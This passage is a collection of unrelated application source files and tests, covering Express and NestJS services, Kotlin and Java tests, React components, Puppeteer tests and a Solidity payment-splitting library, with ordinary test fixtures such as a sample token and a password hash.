date : DateRangeDto
) {
try {
// const startDate = new Date(Number(date.start_date.substring(0,4)) , Number(date.start_date.substring(4,6)) , 1);
// const endDate = parseDashDate(date.end_date);
// console.log(date.start_date.substring(0,4) , Number(date.start_date.substring(4,6)));
const startDate = new Date(parseDashDate(date.start_date));
const start = new Date(startDate.getFullYear() , startDate.getMonth() , 1).toISOString().split('T')[0];
const endDate = new Date(parseDashDate(date.end_date));
const end = new Date(endDate.getFullYear() , endDate.getMonth() +1 , 0).toISOString().split('T')[0];
const crefiaSales = await this.crefiaSalesPvd.dateSum(
business ,
start ,
`${end} 23:59:59`
);
const cashSales = await this.cashSalesPvd.dateSum(
business ,
start ,
`${end} 23:59:59`
)
const bill = await this.taxPvd.dateSum(
business ,
start ,
`${end} 23:59:59`,
)
const delivery = await this.delvieryPvd.dateSum(
business ,
start ,
`${end} 23:59:59`,
)
return ServiceData.ok(
"Successfully getting monthly data",
{
crefia : crefiaSales ? crefiaSales : '0',
cash : cashSales ? cashSales : '0',
bill : bill ? bill : '0',
delivery : delivery ? delivery : '0'
},
2101
)
} catch(e) {
return ServiceData.serverError();
}
}
} |
const express = require('express');
const ruta = express.Router();
const Singer = require('../models/singer_model');
const Album = require('../models/album_model');
ruta.get('/:id', (req, res)=> {
const id = req.params.id;
const result = listAlbumsOnSinger(id);
result.then(albums => {
res.send(albums);
}).catch(err => {
res.status(400).send(err.message);
})
});
ruta.get('/:idSinger/:idAlbum', (req, res)=> {
const idSinger = req.params.idSinger;
const idAlbum = req.params.idAlbum;
const result = seeAlbumOnSinger(idSinger, idAlbum);
result.then(album => {
res.send(album);
}).catch(err => {
res.status(400).send(err.message);
})
})
ruta.post('/:idSinger/:idAlbum', (req, res)=> {
const idSinger = req.params.idSinger;
const idAlbum = req.params.idAlbum;
const condition = albumIsRegistered(idAlbum);
condition.then( () => {
const result = recordAlbunOnSinger(idSinger, idAlbum);
result.then( singer => {
res.send(singer);
}).catch(err =>{
res.status(400).send(err.message);
});
}).catch(err => {
res.status(400).send(err.message);
});
});
ruta.delete('/:idSinger/:idAlbum', (req, res) =>{
const idSinger = req.params.idSinger;
const idAlbum = req.params.idAlbum;
const result = deleteAlbunOnSinger(idSinger, idAlbum);
result.then(singer =>{
res.send(singer);
}).catch(err => {
res.status(400).send(err.message);
});
});
async function listAlbumsOnSinger(idSinger){
const albums = await Singer.findById(idSinger)
.select({name: 1, nationality: 1, birth: 1, albums: 1, _id: 1});
return albums;
}
async function seeAlbumOnSinger(idSinger, idAlbum){
const singer = await Singer.findOne({_id: idSinger});
if(!singer){
throw new Error('the singer does not exist');
}
const album = await Album.find({_id: idAlbum});
return album;
}
async function recordAlbunOnSinger(idSinger, idAlbum){
const album = await Album.findOne({_id: idAlbum});
if(!album){
throw new Error('the albun does not exist');
}
const result = await Singer.updateOne({_id: idSinger}, {
$addToSet: {
albums: idAlbum // Controla que el correo sea unico ( es un conjunto)
// Si el correo ya esta en el curso, no hae nada
}
});
if(!result.matchedCount){
throw new Error('the singer does not exist');
}
if(!result.modifiedCount){
throw new Error('the album is already registered on the singer');
};
const singer = await Singer.findById(idSinger);
return singer;
}
async function deleteAlbunOnSinger(idSinger, idAlbum){
const album = await Album.findOne({_id: idAlbum});
if(!album){
throw new Error('the albun does not exist');
}
const result = await Singer.updateOne({_id: idSinger}, {
$pullAll: {
albums: [idAlbum]
}
});
if(!result.matchedCount){
throw new Error('the singer does not exist');
}
if(!result.modifiedCount){
throw new Error('the album is not registered on the singer');
};
const singer = await Singer.findById(idSinger);
return singer;
}
async function albumIsRegistered(idAlbum){
const singer = await Singer.findOne({albums: idAlbum});
if(singer){
throw new Error('the album is already registered on other singer');
}
return;
}
module.exports = ruta; |
package pt.isel.ps.energysales.products
import io.kotest.assertions.ktor.client.shouldHaveContentType
import io.kotest.assertions.ktor.client.shouldHaveStatus
import io.kotest.matchers.equals.shouldBeEqual
import io.kotest.matchers.shouldBe
import io.ktor.client.call.body
import io.ktor.client.request.delete
import io.ktor.client.request.get
import io.ktor.client.request.parameter
import io.ktor.client.request.post
import io.ktor.client.request.put
import io.ktor.client.request.setBody
import io.ktor.http.ContentType
import io.ktor.http.HttpStatusCode
import io.ktor.server.testing.testApplication
import pt.isel.ps.energysales.BaseRouteTest
import pt.isel.ps.energysales.Uris
import pt.isel.ps.energysales.auth.http.model.Problem
import pt.isel.ps.energysales.products.http.model.CreateProductRequest
import pt.isel.ps.energysales.products.http.model.ProductJSON
import pt.isel.ps.energysales.products.http.model.UpdateProductRequest
import kotlin.test.Test
class ProductRoutesTest : BaseRouteTest() {
@Test
fun `Create Product - Success`() =
testApplication {
testClient()
.post(Uris.API + Uris.PRODUCTS) {
headers.append("Authorization", "Bearer $adminToken")
setBody(CreateProductRequest("newProduct", 0.0, ""))
}.also { response ->
response.headers["Location"]?.shouldBeEqual("${Uris.PRODUCTS}/11")
response.shouldHaveStatus(HttpStatusCode.Created)
}
}
@Test
fun `Create Product - Unauthorized`() =
testApplication {
testClient()
.post(Uris.API + Uris.PRODUCTS) {
headers.append(
"Authorization",
"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9." +
"eyJhdWQiOiJyZWFsbSIsImlzcyI6ImF1ZGllbmNlIiwidWlkIjoxLCJleHAiOjE3MTM1Njk1MDl9." +
"PujUDxkJjBeo8viQELQquH5zeW9P_LfS1jYBNmXIOAY",
)
setBody(CreateProductRequest("newProduct", 0.0, ""))
}.also { response ->
response.body<Problem>().type.shouldBeEqual(Problem.unauthorized.type)
response.shouldHaveStatus(HttpStatusCode.Unauthorized)
response.shouldHaveContentType(ContentType.Application.ProblemJson)
}
}
/*
// todo
@Test
fun `Create Product - Forbidden - No permission Roles`() = testApplication {
testClient().post(Uris.API + Uris.PRODUCT) {
headers.append("Authorization", "Bearer $token")
setBody(CreateProductRequest("newProduct", "newLocation", null))
}.also { response ->
response.body<Problem>().type.shouldBeEqual(Problem.userIsInvalid.type)
response.shouldHaveStatus(HttpStatusCode.Forbidden)
response.shouldHaveContentType(ContentType.Application.ProblemJson)
}
}
@Test
fun `Create Product - Bad Request`() = testApplication {
testClient().post(Uris.API + Uris.PRODUCT) {
}.also { response ->
response.body<Problem>().type.shouldBeEqual(Problem.noProductProvided.type)
response.shouldHaveStatus(HttpStatusCode.BadRequest)
response.shouldHaveContentType(ContentType.Application.ProblemJson)
}
}*/
@Test
fun `Create Product - Product already exists`() =
testApplication {
testClient()
.post(Uris.API + Uris.PRODUCTS) {
headers.append("Authorization", "Bearer $adminToken")
setBody(CreateProductRequest("Product 1", 0.0, ""))
}.also { response ->
response.body<Problem>().type.shouldBeEqual(Problem.productAlreadyExists.type)
response.shouldHaveStatus(HttpStatusCode.Conflict)
response.shouldHaveContentType(ContentType.Application.ProblemJson)
}
}
@Test
fun `Get Product by ID - Success`() =
testApplication {
testClient()
.get(Uris.API + Uris.PRODUCTS_BY_ID) {
headers.append("Authorization", "Bearer $adminToken")
parameter("id", 1)
}.also { response ->
val product = response.call.response.body<ProductJSON>()
product.name.shouldBe("Product 1")
response.shouldHaveStatus(HttpStatusCode.OK)
}
}
@Test
fun `Get Product by ID - Not Found`() =
testApplication {
testClient()
.get(Uris.API + Uris.PRODUCTS_BY_ID) {
headers.append("Authorization", "Bearer $adminToken")
parameter("id", -1)
}.also { response ->
response.body<Problem>().type.shouldBeEqual(Problem.productNotFound.type)
response.shouldHaveStatus(HttpStatusCode.NotFound)
response.shouldHaveContentType(ContentType.Application.ProblemJson)
}
}
@Test
fun `Get Product by ID - Bad request`() =
testApplication {
testClient()
.get(Uris.API + Uris.PRODUCTS_BY_ID) {
headers.append("Authorization", "Bearer $adminToken")
parameter("id", "paramTypeInvalid")
}.also { response ->
response.body<Problem>().type.shouldBeEqual(Problem.badRequest.type)
response.shouldHaveStatus(HttpStatusCode.BadRequest)
response.shouldHaveContentType(ContentType.Application.ProblemJson)
}
}
@Test
fun `Get All Products - Success`() =
testApplication {
testClient()
.get(Uris.API + Uris.PRODUCTS) {
headers.append("Authorization", "Bearer $adminToken")
}.also { response ->
response.body<List<ProductJSON>>()
}
}
@Test
fun `Update Product - Success`() =
testApplication {
testClient()
.put(Uris.API + Uris.PRODUCTS_BY_ID) {
headers.append("Authorization", "Bearer $adminToken")
parameter("id", 2)
setBody(UpdateProductRequest("updatedProduct", 0.0, ""))
}.also { response ->
response.shouldHaveStatus(HttpStatusCode.OK)
}
}
@Test
fun `Update Product - Unauthorized`() =
testApplication {
testClient()
.put(Uris.API + Uris.PRODUCTS_BY_ID) {
parameter("id", 2)
setBody(UpdateProductRequest("newProduct", 0.0, ""))
}.also { response ->
response.body<Problem>().type.shouldBeEqual(Problem.unauthorized.type)
response.shouldHaveStatus(HttpStatusCode.Unauthorized)
response.shouldHaveContentType(ContentType.Application.ProblemJson)
}
}
/*
// todo
@Test
fun `Update Product - Forbidden`() = testApplication {
testClient().put(Uris.API + Uris.PRODUCT_BY_ID) {
setBody(UpdateProductRequest("newProduct", "newLocation", null))
}.also { response ->
response.body<Problem>().type.shouldBeEqual(Problem.unauthorized.type)
response.shouldHaveStatus(HttpStatusCode.Forbidden)
response.shouldHaveContentType(ContentType.Application.ProblemJson)
}
}*/
@Test
fun `Update Product - Not Found`() =
testApplication {
testClient()
.put(Uris.API + Uris.PRODUCTS_BY_ID) {
headers.append("Authorization", "Bearer $adminToken")
parameter("id", -1)
setBody(UpdateProductRequest("nonExistingProduct", 0.0, ""))
}.also { response ->
response.body<Problem>().type.shouldBeEqual(Problem.productNotFound.type)
response.shouldHaveStatus(HttpStatusCode.NotFound)
response.shouldHaveContentType(ContentType.Application.ProblemJson)
}
}
@Test
fun `Update Product - Bad Request`() =
testApplication {
testClient()
.put(Uris.API + Uris.PRODUCTS_BY_ID) {
headers.append("Authorization", "Bearer $adminToken")
parameter("id", "abc")
setBody(UpdateProductRequest("", 0.0, ""))
}.also { response ->
response.body<Problem>().type.shouldBeEqual(Problem.badRequest.type)
response.shouldHaveStatus(HttpStatusCode.BadRequest)
response.shouldHaveContentType(ContentType.Application.ProblemJson)
}
}
@Test
fun `Delete Product - Success`() =
testApplication {
testClient()
.delete(Uris.API + Uris.PRODUCTS_BY_ID) {
headers.append("Authorization", "Bearer $adminToken")
parameter("id", 3)
}.also { response ->
response.shouldHaveStatus(HttpStatusCode.OK)
}
}
@Test
fun `Delete Product - Unauthorized`() =
testApplication {
testClient()
.delete(Uris.API + Uris.PRODUCTS_BY_ID) {
headers.append("Authorization", "Invalid Token")
parameter("id", 1)
}.also { response ->
response.shouldHaveStatus(HttpStatusCode.Unauthorized)
}
}
@Test
fun `Delete Product - Not Found`() =
testApplication {
testClient()
.delete(Uris.API + Uris.PRODUCTS_BY_ID) {
headers.append("Authorization", "Bearer $adminToken")
parameter("id", -1)
}.also { response ->
response.shouldHaveStatus(HttpStatusCode.NotFound)
}
}
@Test
fun `Delete Product - Product Not Found`() =
testApplication {
testClient()
.delete(Uris.API + Uris.PRODUCTS_BY_ID) {
headers.append("Authorization", "Bearer $adminToken")
parameter("id", -1)
}.also { response ->
response.shouldHaveStatus(HttpStatusCode.NotFound)
}
}
@Test
fun `Delete Product - Bad Request`() =
testApplication {
testClient()
.delete(Uris.API + Uris.PRODUCTS_BY_ID) {
headers.append("Authorization", "Bearer $adminToken")
parameter("id", "paramTypeInvalid")
}.also { response ->
response.shouldHaveStatus(HttpStatusCode.BadRequest)
}
}
} |
import React, { useState, useEffect } from 'react';
import { View, Text, Button } from 'react-native';
import { login, signup, getProducts, deleteProduct, updateProduct, patchProduct } from './apiCalls';
const App = () => {
useEffect(() => {
// Example usage of API calls
const fetchData = async () => {
try {
const loginResponse = await login({ username: 'user', password: 'pass' });
console.log('Login Response:', loginResponse);
const signupResponse = await signup({ username: 'newUser', password: 'newPass' });
console.log('Signup Response:', signupResponse);
const products = await getProducts();
console.log('Products:', products);
const productIdToDelete = 123;
const deleteResponse = await deleteProduct(productIdToDelete);
console.log('Delete Response:', deleteResponse);
const productIdToUpdate = 456;
const updatedData = { name: 'Updated Product' };
const updateResponse = await updateProduct(productIdToUpdate, updatedData);
console.log('Update Response:', updateResponse);
const productIdToPatch = 789;
const patchedData = { price: 19.99 };
const patchResponse = await patchProduct(productIdToPatch, patchedData);
console.log('Patch Response:', patchResponse);
} catch (error) {
console.error('API Error:', error);
}
};
fetchData();
}, []);
return (
<View>
<Text>Hello React Native!</Text>
</View>
);
};
export default App; |
import { ITextSimplify } from '../../../interfaces/IPost/Decorator/IPostDecorator';
export class BasicTextEditorSimplify implements ITextSimplify {
private text: string;
constructor() {
this.text = '';
}
simplify(text: string) {
this.text = text;
}
getText(): string {
return this.text;
}
getStartTag(): string {
return '';
}
getEndTag(): string {
return '';
}
getDecoratorTag(): string {
return '';
}
}
export abstract class TextSimplify implements ITextSimplify {
protected textEditor: ITextSimplify;
constructor(textEditor: ITextSimplify) {
this.textEditor = textEditor;
}
simplify(text: string): void {
this.textEditor.simplify(text);
}
getText(): string {
return this.textEditor.getText();
}
abstract getStartTag(): string;
abstract getEndTag(): string;
abstract getDecoratorTag(): string;
} |
import React from "react";
import { MDBDataTableV5, MDBTable } from "mdbreact";
import {
BarChart,
Bar,
XAxis,
YAxis,
CartesianGrid,
Tooltip,
Legend,
LineChart,
Line,
ResponsiveContainer,
} from "recharts";
import { GrFormNextLink } from "react-icons/gr";
import { NavLink } from "react-router-dom";
import "../../styles/Designer/table.css";
import "../../styles/Designer/DesignerEarn.css";
import { useSession } from "../../constants/SessionContext";
function DesignerEarn() {
//get designer id from session
const session = useSession();
// console.log(session.sessionData.userid);
const designerId = session.sessionData.userid;
console.log("Designer id is " + designerId);
const data = {
columns: [
{
label: "REQUEST/PARTNERSHIP",
field: "name",
sort: "asc",
width: 150,
},
{
label: "Customer/Vendor",
field: "customer",
sort: "asc",
width: 270,
},
{
label: "DATE",
field: "date",
sort: "asc",
width: 100,
},
{
label: "EARNINGS",
field: "earnings",
sort: "asc",
width: 100,
},
],
rows: [
{
name: "Bedroom Low Budget Design",
customer: "John Wick",
date: "13.06.2023",
earnings: "400 Rs",
},
{
name: "Bedroom Low Budget Design",
customer: "John Wick",
date: "13.06.2023",
earnings: "400 Rs",
},
{
name: "Bedroom Low Budget Design",
customer: "John Wick",
date: "13.06.2023",
earnings: "400 Rs",
},
{
name: "Bedroom Low Budget Design",
customer: "John Wick",
date: "13.06.2023",
earnings: "400 Rs",
},
],
};
// const data2 = [
// {
// name: "Page A",
// uv: 4000,
// pv: 2400,
// amt: 2400,
// },
// {
// name: "Page B",
// uv: 3000,
// pv: 1398,
// amt: 2210,
// },
// {
// name: "Page C",
// uv: 2000,
// pv: 9800,
// amt: 2290,
// },
// {
// name: "Page D",
// uv: 2780,
// pv: 3908,
// amt: 2000,
// },
// {
// name: "Page E",
// uv: 1890,
// pv: 4800,
// amt: 2181,
// },
// {
// name: "Page F",
// uv: 2390,
// pv: 3800,
// amt: 2500,
// },
// {
// name: "Page G",
// uv: 3490,
// pv: 4300,
// amt: 2100,
// },
// ];
const data2 = [
{
name: "Jan",
Requests: 2400,
Partnership: 2400,
},
{
name: "Feb",
Requests: 1398,
Partnership: 2210,
},
{
name: "Mar",
Requests: 9800,
Partnership: 2290,
},
{
name: "April",
Requests: 3908,
Partnership: 2000,
},
{
name: "May",
Requests: 4800,
Partnership: 2181,
},
{
name: "June",
Requests: 3800,
Partnership: 2500,
},
{
name: "July",
Requests: 4300,
Partnership: 2100,
},
];
return (
<div className=" col-12 background-earning p-3 rounded-3 gap-4 d-flex flex-column me-5">
<div className="p-4 rounded-3 flex-column d-flex flex-lg-row flex-md-row gap-3">
<div className="p-4 bg-light rounded-3 shadow px-5 col-lg-7">
<div className="d-flex flex-row gap-3">
<p className="text-dark fs-5 fw-bold">Recent Earnings</p>
<NavLink to="../earningsall">
<p className="text-primary fs-6 align-items-center d-flex">
See All <GrFormNextLink color="blue" size="1.5em" />
</p>
</NavLink>
</div>
<div className="">
<MDBDataTableV5
responsive
striped
bordered
small
data={data}
exportToCSV={true}
/>
</div>
</div>
<div className="p-4 bg-light rounded-3 shadow px-5 col-lg-4">
<p className="primary fs-5 text-primary">
<b>Summery View</b>
</p>
<br></br>
<div
className="fs-4 text-center p-3 rounded-2 px-5 "
style={{ background: "#035C94", color: "#ffff" }}
>
<b>50</b> Designs
</div>
<br></br>
<div
className="fs-4 text-center p-3 rounded-2 px-5"
style={{ background: "#096C86", color: "#ffff" }}
>
<b>12</b> Partnerships
</div>
<br></br>
<div
className="fs-4 text-center p-3 rounded-2 px-5"
style={{ background: "#FFC00C", color: "#ffff" }}
>
<b>1000</b> Requests
</div>
<br></br>
</div>
</div>
<div className="p-4 rounded-3 shadow bg-light col-lg-11">
<p className="primary fs-6 text-primary">
<b>Total Revenue</b>
</p>
<p className="primary fs-5 text-primary">
<b> LKR 10.5 K</b>
</p>
<LineChart
width={1000}
height={400}
data={data2}
margin={{
top: 5,
right: 30,
left: 20,
bottom: 5,
}}
>
{/* <CartesianGrid strokeDasharray="3 3" /> */}
<XAxis dataKey="name" />
<YAxis />
{/* <Tooltip /> */}
<Legend />
<Line
type="monotone"
dataKey="Requests"
stroke="#FFC00C"
activeDot={{ r: 8 }}
strokeWidth={2}
dot={false}
/>
<Line
type="monotone"
dataKey="Partnership"
stroke="#096C86"
strokeWidth={2}
dot={false}
/>
</LineChart>
</div>
</div>
);
}
export default DesignerEarn; |
let professor = {
Name: "Siddharth Raghvan",
Age: 42,
Occupation: "Philosopher",
Department: "Indian Philosophy",
College: "JNU Delhi",
degrees: {
MasterDegree: "Philosophy",
PHD: "Western Philosphy & Indian Philosophy",
BacholerDegree: "BA in Philosophy",
College: "Pune University",
certificates: [
"Hacker Rank Participation",
"Certificate in IFE course",
"Certificate in Adv Programming",
],
},
};
professor.totalExperience = "14 years";
console.log(`First all Properties :- `);
console.log(professor);
console.log(``);
console.log(`Nested Properties :- `);
console.log(professor.degrees);
console.log(``);
console.log(`Array Property :- `);
console.log(professor.degrees.certificates);
console.log(
);
console.log(`Before Change property :- `);
console.log(professor.degrees);
console.log(``);
professor.degrees.College = "Mumbai University"; /*value updated*/
console.log(`after Change of Degree's object college property :- `);
console.log(professor.degrees);
console.log(``);
console.log(
);
console.log(``);
console.log(`before add new Certificate value :- `);
console.log(professor.degrees.certificates);
console.log(``);
professor.degrees.certificates.splice(2, 0, "Oracle Certified");
console.log(`After add new Certificate value at index 2 :- `);
console.log(professor.degrees.certificates);
console.log(``);
console.log(
);
console.log(``);
let result =
professor.degrees.certificates[professor.degrees.certificates.length - 1];
console.log(`last element of the array in certificates is :- ${result}`);
console.log(``);
console.log(
);
console.log(``);
console.log(`Complete object is :- `);
console.log(``);
console.log(professor);
console.log(``);
console.log(professor.degrees);
console.log(``);
console.log(professor.degrees.certificates);
console.log(
);
console.log(``);
console.log(`Traverse array certificates using loop :- `);
console.log(``);
for (const i in professor.degrees.certificates) {
if (Object.hasOwnProperty.call(professor.degrees.certificates, i)) {
const element = professor.degrees.certificates[i];
console.log(`Key ==> ${i}, Value ==> ${element}`);
}
}
console.log(``);
console.log(
); |
import { strict as assert } from "node:assert";
import { readFile } from "node:fs/promises";
import { dirname, resolve } from "node:path";
import test from "node:test";
import { fileURLToPath } from "node:url";
import puppeteer, { PuppeteerLaunchOptions } from "puppeteer";
const __dirname = dirname(fileURLToPath(import.meta.url));
const BASE_URL: string = process.env.BITEXTUAL_TEST_BASE_URL!;
const TEST_FILES_PATH = resolve(__dirname, "../../test");
const BOVARY_ENGLISH_PATH = resolve(
TEST_FILES_PATH,
"bovary.english.edited.txt",
);
const BOVARY_FRENCH_PATH = resolve(TEST_FILES_PATH, "bovary.french.edited.txt");
const BOVARY_EPUB_PATH = resolve(TEST_FILES_PATH, "bovary.english.epub");
const BOVARY_EPUB_IMG_PATH = resolve(
TEST_FILES_PATH,
"bovary.english.images.epub",
);
const BOVARY_EPUB_TEXT_PATH = resolve(
TEST_FILES_PATH,
"bovary.english.epub.txt",
);
// slurp Bovary english text from file system
const bovaryEnglish = await readFile(BOVARY_ENGLISH_PATH, "utf8");
const bovaryFrench = await readFile(BOVARY_FRENCH_PATH, "utf8");
const bovaryEpubText = await readFile(BOVARY_EPUB_TEXT_PATH, "utf8");
function withBrowser(
options: PuppeteerLaunchOptions,
fn: (browser: puppeteer.Browser) => Promise<void>,
) {
return async function () {
const browser = await puppeteer.launch(options);
try {
await fn(browser);
} finally {
await browser.close();
}
};
}
function withHeadlessBrowser(
fn: (browser: puppeteer.Browser) => Promise<void>,
) {
return withBrowser({ headless: "new" }, fn);
}
// use this for debugging
function _withSlowMoBrowser(fn: (browser: puppeteer.Browser) => Promise<void>) {
return withBrowser({ headless: false, slowMo: 250 }, fn);
}
test(
"alignment",
withHeadlessBrowser(async (browser) => {
const page = await browser.newPage();
await page.goto(BASE_URL);
await page.setViewport({ width: 1080, height: 1024 });
// when we retype the whole text, the test takes too long
const NUM_LINES = 100;
const bovaryFrenchFirstLines = bovaryFrench.split("\n").slice(0, NUM_LINES)
.join("\n");
const bovaryEnglishFirstLines = bovaryEnglish.split("\n").slice(
0,
NUM_LINES,
).join("\n");
await page.click("#continue-btn");
await page.focus("#panel-source .cm-editor .cm-content");
await page.keyboard.sendCharacter(bovaryFrenchFirstLines);
await page.focus("#panel-target .cm-editor .cm-content");
await page.keyboard.sendCharacter(bovaryEnglishFirstLines);
await page.waitForFunction(() =>
!document.querySelector<HTMLButtonElement>("#align")?.disabled
);
await page.click("button[type=submit]");
await page.waitForFunction(() =>
document.title === "bitextual parallel book"
);
const firstSentenceElement = await page.$(".sentence");
const firstSentenceTextHandle = await firstSentenceElement!.getProperty(
"innerText",
);
const firstSentence = await firstSentenceTextHandle.jsonValue();
assert.equal(firstSentence, "Gustave Flaubert MADAME BOVARY");
}),
);
test(
"epub import",
withHeadlessBrowser(async (browser) => {
const page = await browser.newPage();
await page.goto(BASE_URL);
await page.setViewport({ width: 1080, height: 1024 });
await page.click("#continue-btn");
let [fileChooser] = await Promise.all([
page.waitForFileChooser(),
page.click("button#import-epub-source"),
]);
await fileChooser.accept([BOVARY_EPUB_PATH]);
await page.waitForFunction(
() =>
(document.querySelector(
"#panel-source .cm-editor .cm-content",
)! as HTMLDivElement)
.innerText.length > 1000,
);
[fileChooser] = await Promise.all([
page.waitForFileChooser(),
page.click("button#import-epub-target"),
]);
await fileChooser.accept([BOVARY_EPUB_IMG_PATH]);
await page.waitForFunction(
() =>
(document.querySelector(
"#panel-target .cm-editor .cm-content",
)! as HTMLDivElement)
.innerText.length > 1000,
);
const sourceText = await page.evaluate(() => {
const element = document.querySelector(
"#panel-source .cm-editor .cm-content",
)!;
if (!(element instanceof HTMLDivElement)) {
throw new Error("element is not a div");
}
return element.innerText;
});
const targetText = await page.evaluate(() => {
const element = document.querySelector(
"#panel-target .cm-editor .cm-content",
)!;
if (!(element instanceof HTMLDivElement)) {
throw new Error("element is not a div");
}
return element.innerText;
});
// because of the way our text editor works, most of the text
// will be hidden out of view, and getting it in puppeteer is hard
const LENGTH_TO_TEST = 1000;
assert.equal(
sourceText.slice(0, LENGTH_TO_TEST),
bovaryEpubText.slice(0, LENGTH_TO_TEST),
);
assert.equal(
targetText.slice(0, LENGTH_TO_TEST),
bovaryEpubText.slice(0, LENGTH_TO_TEST),
);
}),
);
test(
"404",
withHeadlessBrowser(async (browser) => {
const page = await browser.newPage();
await page.goto(`${BASE_URL}/nonexistent`);
const pageHTML = await page.evaluate(() => document.body.innerHTML);
assert.equal(pageHTML, "404 Not Found\n");
}),
); |
import java.util.Scanner;
//Creando cuenta
public class Cuenta {
private int numeroCuenta;
private long dniCliente;
private double saldoActual;
// Constructor por defecto
public Cuenta() {
}
// Constructor con DNI, saldo, número de cuenta e interés
public Cuenta(int numeroCuenta, long dniCliente, double saldoActual) {
this.numeroCuenta = numeroCuenta;
this.dniCliente = dniCliente;
this.saldoActual = saldoActual;
}
// Métodos getters y setters
public int getNumeroCuenta() {
return numeroCuenta;
}
public void setNumeroCuenta(int numeroCuenta) {
this.numeroCuenta = numeroCuenta;
}
public long getDniCliente() {
return dniCliente;
}
public void setDniCliente(long dniCliente) {
this.dniCliente = dniCliente;
}
public double getSaldoActual() {
return saldoActual;
}
public void setSaldoActual(double saldoActual) {
this.saldoActual = saldoActual;
}
// Método para crear un objeto Cuenta, pidiéndole los datos al usuario
public void crearCuenta() {
Scanner scanner = new Scanner(System.in);
System.out.println("Ingrese el número de cuenta:");
this.numeroCuenta = scanner.nextInt();
System.out.println("Ingrese el DNI del cliente:");
this.dniCliente = scanner.nextLong();
System.out.println("Ingrese el saldo actual:");
this.saldoActual = scanner.nextDouble();
}
// Método ingresar(double ingreso)
public void ingresar(double ingreso) {
this.saldoActual += ingreso;
}
// Método retirar(double retiro)
public void retirar(double retiro) {
if (this.saldoActual >= retiro) {
this.saldoActual -= retiro;
} else {
this.saldoActual = 0;
}
}
// Método extraccionRapida
public void extraccionRapida() {
double cantidadARetirar = this.saldoActual * 0.20;
this.retirar(cantidadARetirar);
}
// Método consultarSaldo
public double consultarSaldo() {
return this.saldoActual;
}
// Método consultarDatos
public void consultarDatos() {
System.out.println("Número de cuenta: " + this.numeroCuenta);
System.out.println("DNI del cliente: " + this.dniCliente);
System.out.println("Saldo actual: " + this.saldoActual);
}
} |
package comp3350.teachreach.tests.unitTests.logic.account;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import org.junit.Test;
import comp3350.teachreach.logic.account.PasswordManager;
public class PasswordManagerTest {
@Test
public void testEncryptPassword_ValidPassword_ReturnsHashedPassword() {
String plainPassword = "password";
String hashedPassword = PasswordManager.encryptPassword(plainPassword);
assertNotNull(hashedPassword);
assertNotEquals(plainPassword, hashedPassword);
}
@Test
public void testVerifyPassword_CorrectPassword_ReturnsTrue() {
String plainPassword = "password";
String correctHashedPassword = "$2a$12$SWvii3RMd8MYwqWuQuit5uUKj9uRDNNIFu3EdRDeTXkzhyhSGssfK";
boolean result = PasswordManager.verifyPassword(plainPassword, correctHashedPassword);
assertTrue(result);
}
@Test
public void testVerifyPassword_IncorrectPassword_ReturnsFalse() {
String correctHashedPassword = "$2a$12$SWvii3RMd8MYwqWuQuit5uUKj9uRDNNIFu3EdRDeTXkzhyhSGssfK";
String incorrectPassword = "wrongpassword";
boolean result = PasswordManager.verifyPassword(incorrectPassword, correctHashedPassword);
assertFalse(result);
}
} |
pragma solidity 0.4.18;
// Contains value transfer related utility functions
library Transfers {
// base structure for storing config and current state
struct Shared {
address[] beneficiaries; // config, constant
uint[] shares; // config, constant
uint[] thresholds; // config, constant
mapping(address => uint) balances; // status
uint balance; // status: sum of all balances
uint transferred; // status: current threshold value
uint idx; // status: current threshold index
}
// used to validate config parameters used in sharedTransfer
function create(address[] beneficiaries, uint[] shares, uint[] thresholds) internal pure returns (Shared) {
// total number of beneficiaries, used a lot in the code, shorten it
uint n = beneficiaries.length;
// basic validation
require(n > 0);
require(n < 32); // protect from 'DoS with Block Gas Limit'
require(shares.length > 0);
require(shares.length == thresholds.length * n);
// in-depth validation of beneficiaries
for(uint i = 0; i < n; i++) {
require(beneficiaries[i] != address(0));
}
// yes, this stupid language allows to use i though it was defined in 'for loop' scope
i = 0; // just need to reset it, cause it contains beneficiaries.length - 1 now
// perform in-depth validation of thresholds
for(uint t = 0; i < thresholds.length - 1; t = thresholds[i++]) {
require(t < thresholds[i]); // array must be monotonously growing
}
require(thresholds[i] == 0); // except the last element which must be zero
// in-depth check of shares array
for(i = 0; i < shares.length; i++) {
// shares shouldn't contain big numbers - will affect precision heavily
require(shares[i] < 2 << 15);
// make sure shares array doesn't contain zero sums - future division zero by zero
if(i / n * n == i) { // division reminder - 'nice', isn't it?
require(__totalShare(shares, i / n, n) > 0);
}
}
// create shared transfer struct
return Shared(beneficiaries, shares, thresholds, 0, 0, 0);
}
// approves shares transfers to beneficiaries according to parameters specified
// similar to append except it takes whole contract balance as an argument
function update(Shared storage t, uint balance) internal {
require(balance > t.balance);
append(t, balance - t.balance);
}
// approves shares transfers to beneficiaries according to parameters specified
function append(Shared storage t, uint value) internal {
// validations
require(value > 0); // input parameter check
assert(t.transferred + value > t.transferred); // overflow check
assert(t.balance + value > t.balance); // overflow check
// define auxiliary variables
uint n = t.beneficiaries.length; // number of beneficiaries
uint[] memory values = new uint[](n); // value to allocate for each of beneficiaries
// cross the thresholds
for(
uint current = t.transferred; // current active threshold
t.thresholds[t.idx] != 0 && t.transferred + value > t.thresholds[t.idx];
current = t.thresholds[t.idx++] // update both current threshold and idx
) {
// calculate each beneficiary value share in between thresholds
__split(values, t.shares, t.idx, t.thresholds[t.idx] - current);
}
// all the thresholds are crossed, calculate the rest
__split(values, t.shares, t.idx, value - current + t.transferred);
// update status
t.transferred += value;
t.balance += value;
// approve the values transfers
for(uint i = 0; i < n; i++) {
__transfer(t, t.beneficiaries[i], values[i]);
}
}
// performs actual value transfer to all beneficiaries, should be called after approveValue
function withdrawAll(Shared storage t) internal {
// ensure balance is positive
assert(t.balance > 0);
// perform withdrawal
for(uint i = 0; i < t.beneficiaries.length; i++) {
address beneficiary = t.beneficiaries[i];
if(t.balances[beneficiary] > 0) {
withdraw(t, beneficiary);
}
}
}
// performs actual value transfer to all beneficiaries, should be called after approveValue
function withdraw(Shared storage t, address beneficiary) internal {
uint value = t.balances[beneficiary];
// validations
require(value > 0); // input parameter check
assert(t.balance >= value); // structure state check + overflow check
// update contract state
t.balances[beneficiary] = 0;
t.balance -= value;
// do the transfer
beneficiary.transfer(value);
}
// approves value transfer for beneficiary
function __transfer(Shared storage t, address beneficiary, uint value) private {
